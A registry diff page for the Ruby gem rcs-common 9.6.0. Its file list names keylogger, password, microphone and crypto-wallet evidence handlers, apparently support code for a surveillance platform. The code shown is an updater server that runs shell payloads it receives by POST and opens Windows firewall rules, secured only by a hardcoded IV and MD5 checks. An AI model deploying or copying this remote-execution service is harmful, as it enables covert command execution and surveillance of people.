rcs-common 9.6.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (116) hide show
  1. checksums.yaml +7 -0
  2. data/.gitignore +49 -0
  3. data/Gemfile +4 -0
  4. data/LICENSE.txt +1 -0
  5. data/Rakefile +27 -0
  6. data/lib/rcs-common.rb +21 -0
  7. data/lib/rcs-common/binary.rb +64 -0
  8. data/lib/rcs-common/cgi.rb +7 -0
  9. data/lib/rcs-common/component.rb +87 -0
  10. data/lib/rcs-common/crypt.rb +71 -0
  11. data/lib/rcs-common/deploy.rb +96 -0
  12. data/lib/rcs-common/diagnosticable.rb +136 -0
  13. data/lib/rcs-common/evidence.rb +261 -0
  14. data/lib/rcs-common/evidence/addressbook.rb +173 -0
  15. data/lib/rcs-common/evidence/application.rb +59 -0
  16. data/lib/rcs-common/evidence/calendar.rb +62 -0
  17. data/lib/rcs-common/evidence/call.rb +185 -0
  18. data/lib/rcs-common/evidence/camera.rb +25 -0
  19. data/lib/rcs-common/evidence/chat.rb +272 -0
  20. data/lib/rcs-common/evidence/clibpoard.rb +58 -0
  21. data/lib/rcs-common/evidence/command.rb +50 -0
  22. data/lib/rcs-common/evidence/common.rb +78 -0
  23. data/lib/rcs-common/evidence/content/camera/001.jpg +0 -0
  24. data/lib/rcs-common/evidence/content/coin/wallet_bit.dat +0 -0
  25. data/lib/rcs-common/evidence/content/coin/wallet_lite.dat +0 -0
  26. data/lib/rcs-common/evidence/content/file/Einstein.docx +0 -0
  27. data/lib/rcs-common/evidence/content/file/arabic.docx +0 -0
  28. data/lib/rcs-common/evidence/content/mouse/001.jpg +0 -0
  29. data/lib/rcs-common/evidence/content/mouse/002.jpg +0 -0
  30. data/lib/rcs-common/evidence/content/mouse/003.jpg +0 -0
  31. data/lib/rcs-common/evidence/content/mouse/004.jpg +0 -0
  32. data/lib/rcs-common/evidence/content/print/001.jpg +0 -0
  33. data/lib/rcs-common/evidence/content/screenshot/001.jpg +0 -0
  34. data/lib/rcs-common/evidence/content/screenshot/002.jpg +0 -0
  35. data/lib/rcs-common/evidence/content/screenshot/003.jpg +0 -0
  36. data/lib/rcs-common/evidence/content/url/001.jpg +0 -0
  37. data/lib/rcs-common/evidence/content/url/002.jpg +0 -0
  38. data/lib/rcs-common/evidence/content/url/003.jpg +0 -0
  39. data/lib/rcs-common/evidence/device.rb +23 -0
  40. data/lib/rcs-common/evidence/download.rb +54 -0
  41. data/lib/rcs-common/evidence/exec.rb +0 -0
  42. data/lib/rcs-common/evidence/file.rb +129 -0
  43. data/lib/rcs-common/evidence/filesystem.rb +71 -0
  44. data/lib/rcs-common/evidence/info.rb +24 -0
  45. data/lib/rcs-common/evidence/keylog.rb +84 -0
  46. data/lib/rcs-common/evidence/mail.rb +237 -0
  47. data/lib/rcs-common/evidence/mic.rb +39 -0
  48. data/lib/rcs-common/evidence/mms.rb +36 -0
  49. data/lib/rcs-common/evidence/money.rb +676 -0
  50. data/lib/rcs-common/evidence/mouse.rb +62 -0
  51. data/lib/rcs-common/evidence/password.rb +60 -0
  52. data/lib/rcs-common/evidence/photo.rb +80 -0
  53. data/lib/rcs-common/evidence/position.rb +303 -0
  54. data/lib/rcs-common/evidence/print.rb +50 -0
  55. data/lib/rcs-common/evidence/screenshot.rb +53 -0
  56. data/lib/rcs-common/evidence/sms.rb +91 -0
  57. data/lib/rcs-common/evidence/url.rb +133 -0
  58. data/lib/rcs-common/fixnum.rb +48 -0
  59. data/lib/rcs-common/gridfs.rb +294 -0
  60. data/lib/rcs-common/heartbeat.rb +96 -0
  61. data/lib/rcs-common/keywords.rb +50 -0
  62. data/lib/rcs-common/mime.rb +65 -0
  63. data/lib/rcs-common/mongoid.rb +19 -0
  64. data/lib/rcs-common/pascalize.rb +62 -0
  65. data/lib/rcs-common/path_utils.rb +67 -0
  66. data/lib/rcs-common/resolver.rb +40 -0
  67. data/lib/rcs-common/rest.rb +17 -0
  68. data/lib/rcs-common/sanitize.rb +42 -0
  69. data/lib/rcs-common/serializer.rb +404 -0
  70. data/lib/rcs-common/signature.rb +141 -0
  71. data/lib/rcs-common/stats.rb +94 -0
  72. data/lib/rcs-common/symbolize.rb +10 -0
  73. data/lib/rcs-common/systemstatus.rb +136 -0
  74. data/lib/rcs-common/temporary.rb +13 -0
  75. data/lib/rcs-common/time.rb +24 -0
  76. data/lib/rcs-common/trace.rb +138 -0
  77. data/lib/rcs-common/trace.yaml +42 -0
  78. data/lib/rcs-common/updater/client.rb +354 -0
  79. data/lib/rcs-common/updater/dsl.rb +178 -0
  80. data/lib/rcs-common/updater/payload.rb +79 -0
  81. data/lib/rcs-common/updater/server.rb +126 -0
  82. data/lib/rcs-common/updater/shared_key.rb +55 -0
  83. data/lib/rcs-common/updater/tmp_dir.rb +13 -0
  84. data/lib/rcs-common/utf16le.rb +83 -0
  85. data/lib/rcs-common/version.rb +5 -0
  86. data/lib/rcs-common/winfirewall.rb +235 -0
  87. data/rcs-common.gemspec +64 -0
  88. data/spec/gridfs_spec.rb +637 -0
  89. data/spec/mongoid.yaml +6 -0
  90. data/spec/signature_spec.rb +105 -0
  91. data/spec/spec_helper.rb +22 -0
  92. data/spec/updater_spec.rb +80 -0
  93. data/tasks/deploy.rake +21 -0
  94. data/tasks/protect.rake +90 -0
  95. data/test/helper.rb +17 -0
  96. data/test/test_binary.rb +107 -0
  97. data/test/test_cgi.rb +14 -0
  98. data/test/test_crypt.rb +125 -0
  99. data/test/test_evidence.rb +52 -0
  100. data/test/test_evidence_manager.rb +119 -0
  101. data/test/test_fixnum.rb +35 -0
  102. data/test/test_keywords.rb +137 -0
  103. data/test/test_mime.rb +49 -0
  104. data/test/test_pascalize.rb +100 -0
  105. data/test/test_path_utils.rb +24 -0
  106. data/test/test_rcs-common.rb +7 -0
  107. data/test/test_sanitize.rb +40 -0
  108. data/test/test_serialization.rb +20 -0
  109. data/test/test_stats.rb +90 -0
  110. data/test/test_symbolize.rb +20 -0
  111. data/test/test_systemstatus.rb +35 -0
  112. data/test/test_time.rb +56 -0
  113. data/test/test_trace.rb +25 -0
  114. data/test/test_utf16le.rb +71 -0
  115. data/test/test_winfirewall.rb +68 -0
  116. metadata +423 -0
@@ -0,0 +1,79 @@
1
+ require 'timeout'
2
+ require 'fileutils'
3
+ require 'open3'
4
+ require_relative "tmp_dir"
5
+ require_relative "../trace.rb"
6
+
7
+ module RCS
8
+ module Updater
9
+ class Payload
10
+ include RCS::Tracer
11
+ include TmpDir
12
+
13
+ attr_reader :options, :payload, :timeout
14
+ attr_reader :filepath, :output, :return_code, :stored
15
+
16
+ DEFAULT_TIMEOUT = 600
17
+
18
+ def initialize(payload, options = {})
19
+ @options = options
20
+ @payload = payload
21
+
22
+ @timeout = options['timeout'].to_i
23
+ @timeout = DEFAULT_TIMEOUT if @timeout <= 0
24
+ end
25
+
26
+ def ruby?; options['ruby']; end
27
+
28
+ def storable?; options['store']; end
29
+
30
+ def spawn?; options['spawn']; end
31
+
32
+ def runnable?
33
+ options['exec'] or ruby? or spawn?
34
+ end
35
+
36
+ def [](name)
37
+ instance_variable_get("@#{name}")
38
+ end
39
+
40
+ def run
41
+ @return_code = nil
42
+ @output = ""
43
+
44
+ cmd = "#{'ruby ' if ruby?}#{storable? ? filepath : payload}"
45
+
46
+ if spawn?
47
+ trace(:debug, "[spawn] #{cmd}")
48
+ return spawn(cmd)
49
+ end
50
+
51
+ Timeout::timeout(@timeout) do
52
+ trace(:debug, "Timeout has been set to #{@timeout} sec") if @timeout != DEFAULT_TIMEOUT
53
+
54
+ trace(:debug, "[popen] #{cmd}")
55
+
56
+ Open3.popen2e(cmd) do |stdin, std_out_err, wait_thr|
57
+ while line = std_out_err.gets
58
+ trace(:debug, "[std_out_err] #{line.strip}")
59
+ @output << line
60
+ end
61
+ @return_code = wait_thr.value.exitstatus
62
+ end
63
+ end
64
+
65
+ return @return_code
66
+ ensure
67
+ FileUtils.rm_f(filepath) if stored
68
+ end
69
+
70
+ def store
71
+ @filepath = "#{tmpdir}/" + (@options['filename'] || Time.now.to_f.to_s.gsub(".", ""))
72
+ FileUtils.mkdir_p(tmpdir)
73
+ trace(:debug, "Storing payload into #{filepath}")
74
+ File.open(filepath, "wb") { |f| f.write(payload) }
75
+ @stored = true
76
+ end
77
+ end
78
+ end
79
+ end
@@ -0,0 +1,126 @@
1
+ require 'yajl/json_gem'
2
+ require 'em-http-server'
3
+ require 'digest/md5'
4
+ require 'monitor'
5
+ require_relative "payload"
6
+ require_relative "shared_key"
7
+ require_relative "../trace"
8
+ require_relative "../winfirewall"
9
+
10
+ module RCS
11
+ module Updater
12
+ class AuthError < Exception; end
13
+
14
+ class Server < EM::HttpServer::Server
15
+ include MonitorMixin
16
+ include RCS::Tracer
17
+ extend RCS::Tracer
18
+
19
+ def initialize(*args)
20
+ @shared_key = SharedKey.new
21
+ super
22
+ end
23
+
24
+ def x_options
25
+ @x_options ||= @shared_key.decrypt_hash(@http[:x_options]) rescue nil
26
+ end
27
+
28
+ def remote_addr
29
+ ary = get_peername[2,6].unpack("nC4")
30
+ ary[1..-1].join(".")
31
+ end
32
+
33
+ def private_ipv4?
34
+ a,b,c,d = remote_addr.split(".").map(&:to_i)
35
+ return true if a==127 && b==0 && c==0 && d==1 # localhost
36
+ return true if a==192 && b==168 && c.between?(0,255) && d.between?(0,255) # 192.168.0.0/16
37
+ return true if a==172 && b.between?(16,31) && c.between?(0,255) && d.between?(0,255) # 172.16.0.0/12
38
+ return true if a==10 && b.between?(0,255) && c.between?(0,255) && d.between?(0,255) # 10.0.0.0/8
39
+ return false
40
+ end
41
+
42
+ def process_http_request
43
+ EM.defer do
44
+ begin
45
+ trace(:info, "[#{@http[:host]}] REQ #{@http_protocol} #{@http_request_method} #{@http_content.size} bytes from #{remote_addr}")
46
+
47
+ raise AuthError.new("Invalid http method") if @http_request_method != "POST"
48
+ raise AuthError.new("No content") unless @http_content
49
+ raise AuthError.new("Missing server signature") unless @shared_key.read_key_from_file
50
+ raise AuthError.new("remote_addr is not private") unless private_ipv4?
51
+ raise AuthError.new("Invalid signature") unless x_options
52
+ raise AuthError.new("Payload checksum failed") if x_options['md5'] != Digest::MD5.hexdigest(@http_content)
53
+
54
+ synchronize do
55
+ @@x_options_last_tm ||= nil
56
+ raise AuthError.new("Reply attack") if @@x_options_last_tm and x_options['tm'] <= @@x_options_last_tm
57
+ @@x_options_last_tm = x_options['tm']
58
+ end
59
+
60
+ payload = Payload.new(@http_content, x_options)
61
+
62
+ set_comm_inactivity_timeout(payload.timeout + 30)
63
+
64
+ payload.store if payload.storable?
65
+ payload.run if payload.runnable?
66
+
67
+ send_response(200, payload_to_hash(payload))
68
+ rescue AuthError => ex
69
+ print_exception(ex, backtrace: false)
70
+ close_connection
71
+ rescue Exception => ex
72
+ print_exception(ex)
73
+ send_response(500, payload_to_hash(payload))
74
+ end
75
+ end
76
+ end
77
+
78
+ def payload_to_hash(payload)
79
+ {path: payload.filepath, output: payload.output, return_code: payload.return_code, stored: payload.stored} if payload
80
+ end
81
+
82
+ def http_request_errback(ex)
83
+ print_exception(ex)
84
+ end
85
+
86
+ def print_exception(ex, backtrace: true)
87
+ text = "[#{ex.class}] #{ex.message}"
88
+ text << "\n\t#{ex.backtrace.join("\n\t")}" if ex.backtrace and backtrace
89
+ trace(:error, text)
90
+ end
91
+
92
+ def send_response(status_code, content = nil)
93
+ response = EM::DelegatedHttpResponse.new(self)
94
+ response.status = status_code
95
+ response.content_type('application/json')
96
+ response.content = content.to_json if content
97
+ response.send_response
98
+ trace(:info, "[#{@http[:host]}] REP #{status_code} #{response.content.size} bytes")
99
+ end
100
+
101
+ def self.add_firewall_rule(port)
102
+ if WinFirewall.exists?
103
+ rule_name = "RCS_FWD Updater"
104
+ WinFirewall.del_rule(rule_name)
105
+ WinFirewall.add_rule(action: :allow, direction: :in, name: rule_name, local_port: port, remote_ip: %w[LocalSubnet 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16], protocol: :tcp)
106
+ end
107
+ end
108
+
109
+ def self.start(port: 6677, address: "0.0.0.0")
110
+ EM::run do
111
+ trace_setup rescue $stderr.puts("trace_setup failed - logging only to stdout")
112
+ add_firewall_rule(port)
113
+
114
+ trace(:info, "Starting RCS Updater server on #{address}:#{port}")
115
+ EM::start_server(address, port, self)
116
+ end
117
+ rescue Interrupt
118
+ trace(:fatal, "Interrupted by the user")
119
+ end
120
+ end
121
+ end
122
+ end
123
+
124
+ if __FILE__ == $0
125
+ RCS::Updater::Server.start
126
+ end
@@ -0,0 +1,55 @@
1
+ require 'openssl'
2
+ require 'base64'
3
+
4
+ module RCS
5
+ module Updater
6
+ class SharedKey
7
+
8
+ def initialize
9
+ # Search for the signature file in some places
10
+ [File.expand_path(Dir.pwd), "C:/RCS/DB", "C:/RCS/Collector"].each do |root|
11
+ ["#{root}/config/rcs-updater.sig", "#{root}/config/certs/rcs-updater.sig"].each do |path|
12
+ @path = path if File.exists?(path)
13
+ end
14
+ end
15
+ end
16
+
17
+ def read_key_from_file
18
+ return ENV['SIGNATURE'] if ENV['SIGNATURE']
19
+
20
+ if @path
21
+ key = File.read(@path)
22
+ return key.empty? ? nil : key
23
+ else
24
+ return nil
25
+ end
26
+ end
27
+
28
+ def prepare_cipher(mode)
29
+ @cipher = OpenSSL::Cipher::AES.new(256, :CBC)
30
+ mode == :encrypt ? @cipher.encrypt : @cipher.decrypt
31
+ @cipher.padding = 1
32
+ @cipher.key = read_key_from_file || raise("Missing or empty signature file")
33
+ @cipher.iv = "\xBA\xF0\xC0Z\xD7\xE8~[TP\xFE\x88rW\xC8\xF4"
34
+ end
35
+
36
+ def encrypt(data)
37
+ prepare_cipher(:encrypt)
38
+ return @cipher.update(data) + @cipher.final
39
+ end
40
+
41
+ def decrypt(data)
42
+ prepare_cipher(:decrypt)
43
+ return @cipher.update(data) + @cipher.final
44
+ end
45
+
46
+ def encrypt_hash(hash)
47
+ Base64.urlsafe_encode64(encrypt(hash.to_json))
48
+ end
49
+
50
+ def decrypt_hash(data)
51
+ JSON.parse(decrypt(Base64.urlsafe_decode64(data)))
52
+ end
53
+ end
54
+ end
55
+ end
@@ -0,0 +1,13 @@
1
+ module RCS
2
+ module Updater
3
+ module TmpDir
4
+ def windows?
5
+ @is_windows ||= (RbConfig::CONFIG['host_os'] =~ /mingw/)
6
+ end
7
+
8
+ def tmpdir
9
+ "C:/Windows/Temp/rcsupdr.tmp"
10
+ end
11
+ end
12
+ end
13
+ end
@@ -0,0 +1,83 @@
1
+ #
2
+ # Helper method for decoding windows WCHAR strings.
3
+ #
4
+
5
+ require 'stringio'
6
+
7
+ class StringIO
8
+ def read_utf16le_string
9
+ # at least the null terminator
10
+ return '' if self.size < 2
11
+
12
+ # empty string by default
13
+ str = ''
14
+ # read until the end of buffer or null termination
15
+ until self.eof? do
16
+ t = self.read(2)
17
+ break if t == "\0\0"
18
+ str << t
19
+ end
20
+
21
+ # misaligned string
22
+ return '' if str.bytesize % 2 != 0
23
+
24
+ return str
25
+ end
26
+
27
+ def read_ascii_string
28
+ # at least the null terminator
29
+ return '' if self.size < 1
30
+
31
+ # empty string by default
32
+ str = ''
33
+ # read until the end of buffer or null termination
34
+ until self.tell == self.size do
35
+ t = self.read(1)
36
+ break if t == "\0"
37
+ str << t
38
+ end
39
+
40
+ return str
41
+ end
42
+
43
+ end
44
+
45
+ class String
46
+ def to_binary
47
+ self.unpack("H*").pack("H*")
48
+ end
49
+
50
+ def to_utf16le_binary
51
+ self.encode('UTF-16LE').to_binary
52
+ end
53
+
54
+ def to_utf16le_binary_null
55
+ # with null termination
56
+ (self + "\0").to_utf16le_binary
57
+ end
58
+
59
+ def terminate_utf16le
60
+ self.force_encoding('UTF-16LE') + "\0".encode('UTF-16LE')
61
+ end
62
+
63
+ def to_utf16le
64
+ self.encode('UTF-16LE')
65
+ end
66
+
67
+ def utf16le_to_utf8
68
+ self.force_encoding('UTF-16LE').encode('UTF-8').chomp("\0")
69
+ end
70
+
71
+ def safe_utf8_encode_invalid
72
+ return self if self.encoding == Encoding::UTF_8 and self.valid_encoding?
73
+ self.safe_utf8_encode
74
+ return self if self.valid_encoding?
75
+ self.force_encoding('BINARY')
76
+ self.encode! 'BINARY', 'UTF-8', invalid: :replace, undef: :replace, replace: '?'
77
+ end
78
+
79
+ def safe_utf8_encode
80
+ self.force_encoding('UTF-8')
81
+ self.encode! 'UTF-8', 'UTF-8', invalid: :replace, undef: :replace, replace: ''
82
+ end
83
+ end
@@ -0,0 +1,5 @@
1
+ module RCS
2
+ module Common
3
+ VERSION = "9.6.0"
4
+ end
5
+ end
@@ -0,0 +1,235 @@
1
+ require 'resolv'
2
+ require 'timeout'
3
+ require_relative 'trace'
4
+ require_relative 'resolver'
5
+
6
+ module RCS
7
+ module Common
8
+ module WinFirewall
9
+ extend RCS::Tracer
10
+
11
+ # Represent a Windows Firewall rule.
12
+ class Rule
13
+ include Resolver
14
+
15
+ ATTRIBUTES = %i[direction action local_ip remote_ip local_port remote_port name protocol profiles enabled grouping edge_traversal]
16
+
17
+ RULE_GROUP = 'RCS Firewall Rules'
18
+
19
+ attr_reader :attributes
20
+
21
+ def initialize(attributes = {})
22
+ # Default attribute values
23
+ @attributes = {
24
+ grouping: RULE_GROUP
25
+ }
26
+
27
+ # Merge default attributes with the given ones
28
+ # and remove invalid attributes
29
+ attributes.symbolize_keys! if attributes.respond_to?(:symbolize_keys!)
30
+ attributes.reject! { |key| !ATTRIBUTES.include?(key) }
31
+ @attributes.merge!(attributes)
32
+
33
+ # Define getters and setters
34
+ ATTRIBUTES.each do |name|
35
+ define_singleton_method(name) { @attributes[name] }
36
+ define_singleton_method("#{name}=") { |value| @attributes[name] = value }
37
+ end
38
+ end
39
+
40
+ def resolve_addresses!
41
+ resolve_addresses(true)
42
+ end
43
+
44
+ def resolve_addresses(_raise = false)
45
+ return if @addresses_resolved
46
+
47
+ %i[remote_ip local_ip].each do |name|
48
+ next unless @attributes[name]
49
+
50
+ addresses = [@attributes[name]].flatten
51
+
52
+ addresses.each_with_index do |address, index|
53
+ next if %w[any localsubnet dns dhcp wins defaultgateway].include?(address.to_s.downcase)
54
+ next if address.to_s =~ Resolv::IPv4::Regex
55
+ next if address.to_s =~ /(\d+)\.(\d+)\.(\d+)\.(\d+)\/(\d+)/
56
+
57
+ is_localhost = Socket.gethostname.casecmp(address).zero?
58
+
59
+ addresses[index] = if is_localhost
60
+ '127.0.0.1'
61
+ elsif _raise
62
+ resolve_dns(address)
63
+ else
64
+ resolve_dns(address) rescue address
65
+ end
66
+ end
67
+
68
+ @attributes[name] = addresses.size == 1 ? addresses[0] : addresses
69
+ end
70
+
71
+ @addresses_resolved = true
72
+ end
73
+
74
+ def save
75
+ resolve_addresses!
76
+
77
+ if Advfirewall.call("firewall add rule #{stringify_attributes}").ok?
78
+ true
79
+ else
80
+ raise "Unable to save firewall rule #{@attributes[:name]}"
81
+ end
82
+ end
83
+
84
+ def del
85
+ resolve_addresses
86
+
87
+ only = %i[dir profile program service localip remoteip localport remoteport protocol name]
88
+
89
+ Advfirewall.call("firewall delete rule #{stringify_attributes(only)}")
90
+ end
91
+
92
+ private
93
+
94
+ def stringify_attributes(only = [])
95
+ attrs = {
96
+ name: name,
97
+ dir: direction,
98
+ action: action,
99
+ enable: enabled,
100
+ protocol: protocol,
101
+ profile: profiles,
102
+ remoteip: remote_ip,
103
+ localip: local_ip,
104
+ localport: local_port,
105
+ remoteport: remote_port,
106
+ #group: grouping / why isn't working?
107
+ }
108
+
109
+ string = ""
110
+
111
+ attrs.each do |key, value|
112
+ next if only.any? and !only.include?(key)
113
+ next if value.to_s.strip.empty?
114
+ next if value == :any
115
+ value = value.respond_to?(:join) ? value.map(&:to_s).join(',') : "\"#{value}\""
116
+ string << "#{key}=#{value} "
117
+ end
118
+
119
+ string
120
+ end
121
+ end
122
+
123
+
124
+ # Parse the response of the netsh advfirewall command
125
+ class AdvfirewallResponse < String
126
+ SEPARATOR = '-'*70
127
+
128
+ attr_accessor :ok
129
+
130
+ def ok?
131
+ return self.ok unless self.ok.nil?
132
+ self.strip =~ /OK\.\z/i
133
+ end
134
+
135
+ def has_separator?
136
+ self.include?(SEPARATOR)
137
+ end
138
+
139
+ def first_line
140
+ index = nil
141
+ self.lines.each_with_index{ |line, i| index = i if line.include?(SEPARATOR) }
142
+ self.lines[index+1].strip if index
143
+ end
144
+ end
145
+
146
+
147
+ class Advfirewall
148
+ extend RCS::Tracer
149
+
150
+ # Return true if the current os is Windows
151
+ def self.exists?
152
+ @firewall_exists ||= (RbConfig::CONFIG['host_os'] =~ /mingw/i)
153
+ end
154
+
155
+ def self.call(command, read: false)
156
+ command = "netsh advfirewall #{command.strip}"
157
+
158
+ unless exists?
159
+ raise "The Windows Firewall is missing. You cannot call the command #{command.inspect} on this OS."
160
+ end
161
+
162
+ #trace(:debug, "[Advfirewall] #{command}")
163
+
164
+ if read
165
+ resp = AdvfirewallResponse.new(`#{command}`)
166
+ trace(:debug, "[Advfirewall] #{resp}") unless resp.ok?
167
+ resp
168
+ else
169
+ resp = AdvfirewallResponse.new
170
+ resp.ok = system(command)
171
+ resp
172
+ end
173
+ end
174
+ end
175
+
176
+
177
+ extend self
178
+
179
+
180
+ # Return :on or :off depending of the firewall state
181
+ #
182
+ # Note that the files test/fixtures/advfirewall/show_currentprofile_state_on and
183
+ # test/fixtures/advfirewall/show_currentprofile_state_off contains an example of the command output
184
+ def status
185
+ return status_from_registry if @use_registry_for_status
186
+
187
+ first_line = Advfirewall.call("show currentprofile state", read: true).first_line
188
+
189
+ if first_line =~ /ON\z/
190
+ :on
191
+ elsif first_line =~ /OFF\z/
192
+ :off
193
+ else
194
+ @use_registry_for_status = true
195
+ status_from_registry
196
+ end
197
+ end
198
+
199
+ def status_from_registry
200
+ command = 'reg query HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v EnableFirewall'
201
+ trace(:debug, "[Advfirewall] #{command}")
202
+ `#{command}`.include?('0x1') ? :on : :off
203
+ end
204
+
205
+ # Returns true if the default firewall policy is to block all inbound connections
206
+ def block_inbound?
207
+ line = Advfirewall.call("show currentprofile firewallpolicy", read: true).first_line
208
+ line.to_s.downcase.include?('blockinbound')
209
+ end
210
+
211
+ # Delegate
212
+ def exists?
213
+ Advfirewall.exists?
214
+ end
215
+
216
+ def add_rule(attributes)
217
+ Rule.new(attributes).save
218
+ end
219
+
220
+ def del_rule(name)
221
+ Rule.new(name: name.to_s).del
222
+ end
223
+
224
+ def has_rule?(name)
225
+ Advfirewall.call("firewall show rule name=\"#{name}\"").ok?
226
+ end
227
+
228
+ def raw_rules
229
+ Advfirewall.call("firewall show rule name=all", read: true)
230
+ end
231
+ end
232
+ end
233
+ end
234
+
235
+ WinFirewall = RCS::Common::WinFirewall